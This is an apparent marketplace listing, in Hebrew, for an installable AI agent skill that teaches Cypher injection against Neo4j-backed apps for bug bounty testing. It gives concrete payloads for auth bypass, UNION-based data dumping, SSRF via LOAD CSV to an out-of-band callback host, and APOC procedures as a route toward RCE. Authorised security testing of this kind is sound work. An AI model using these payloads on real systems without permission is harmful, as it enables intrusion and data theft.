דילוג לתוכן
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/web-cypher-injectionWeb ו-bug bounty

web-cypher-injection

⁨Inject into Neo4j Cypher queries to bypass auth, exfiltrate graph data, and reach SSRF/RCE. Load when user input reaches a Cypher query (Neo4j-backed app, GraphQL/REST over a graph DB) — a login, search, or filter that builds `MATCH (n {prop:'<input>'})`. Signals: Neo4j/Bolt (7687), `MATCH`/ `RETURN⁩

v2026.10.14-ee0e0c53 התקנות⁦+3⁩ ב-7 ימים27 כוכביםMITסונכרן לפני 22 שעות

התקנה

עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-cypher-injection

נכתב אל ⁦~/.notholy/skills⁩ אחרי בדיקת החתימה וה-SHA-256.

חתימהחתום, ed25519
LqMMh7ezAb…M+TGA3DQ==ה-CLI בודק את ה-SHA-256 ואת החתימה לפני שהוא כותב קובץ כלשהו.
חבילהf2caa4df…536c1fed
f2caa4df3035…f584536c1fedקובץ אחד · ⁦1.8 KB⁩
סריקהנמוךממצא אחד
  • קישורים לדומיינים חיצוניים
לסריקה המלאה
מקורgithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-cypher-injection@ee0e0c5

הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.

When it applies

An app builds a Neo4j Cypher query by concatenating user input — a login (MATCH (u {name:'<in>', pass:'<in>'})), a search, or a filter. Like SQLi, mixing input into the query language lets you change its meaning: bypass auth, read arbitrary nodes, or pivot to SSRF/RCE via Cypher's data-loading and (mis)installed apoc procedures.

Why it works

Cypher is a query language with the same code/data confusion as SQL, plus graph-specific power: UNION across labels, LOAD CSV FROM <url> (server-side fetch = SSRF), and — if apoc is present and permissive — apoc.load.* / dbms.* that can reach the network or the OS.

Method

  1. Detect. Break the string context with ' and watch for a Cypher error (Neo.ClientError..., Invalid input). Try a self-true/false pair in a filter to confirm the input reaches the query.
  2. Auth bypass / logic. Close the intended clause and inject your own predicate, e.g. a login name of ' OR 1=1 RETURN u // or '}) RETURN u; // to return a user regardless of password (exact shape depends on the surrounding query — leak it first via errors).
  3. Exfiltrate with UNION. Append UNION MATCH (x) RETURN x (or target specific labels/props) to dump nodes beyond the intended result — enumerate labels/keys with db.labels(), db.propertyKeys() where reachable.
  4. SSRF via LOAD CSV. ... LOAD CSV FROM 'http://<your-collab>/' AS l RETURN l makes the DB server fetch your URL — internal-service reach and blind confirmation via out-of-band callback.
  5. APOC (if present) → deeper SSRF/RCE. apoc.load.json('http://internal/...'), apoc.load.jdbc(...), or (badly configured) procedures that run OS/network actions. Treat any apoc.* you can call as a strong escalation lead.

Gotchas

  • Leak the surrounding query first (via errors) — the right break-out (', '}, '})) depends on whether input is inside a property map, a WHERE, or a string literal.
  • Comment syntax is // (to end of line) — use it to discard the rest of the app's query.
  • LOAD CSV/apoc may be disabled — a blocked call is not proof of "not injectable"; the UNION/auth-bypass path can still work.
  • Confirm SSRF out-of-band (web-ssrf) before claiming it; validate with reporting-triage-validation.

Verify success

Data or behavior you shouldn't get: an auth bypass returning another user, nodes from an unintended label via UNION, or an out-of-band callback proving LOAD CSV/apoc SSRF.

References

Neo4j Cypher manual (LOAD CSV, apoc); OWASP injection; CWE-943 (query-language injection). Related: web-sqli, web-ssrf, api-mongo-agg-facet-bypass.

הקבצים בגרסה הזו

הרשאות

הרשאההוצהרנמצא בסריקה
קורא קבציםלאלא
כותב קבציםלאלא
מריץ פקודות shellלאלא
משתמש ברשתכןכן
משתמש במחבריםלאלא
שולט בדפדפןלאלא

ממצאי הסריקה

נבדק ב-13 בנוב׳ 2026

  1. מידעקישור · קישורים לדומיינים חיצוניים

סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.

גרסהפורסמהCommitSHA-256חתימהשינוי בהרשאות
v2026.10.14-ee0e0c513 בנוב׳ 2026ee0e0c5f2caa4dfחתומה–

שאלו כל מה שהסקופ מאפשר.

יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.

  1. 1/3

    יצירת חשבון

    פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.

    פרטיחברה
  2. 2/3

    הוספת קרדיטים

    בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.

    $5.00טעינה מינימלית
  3. 3/3

    שאלה ראשונה

    בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.

    $ notholy login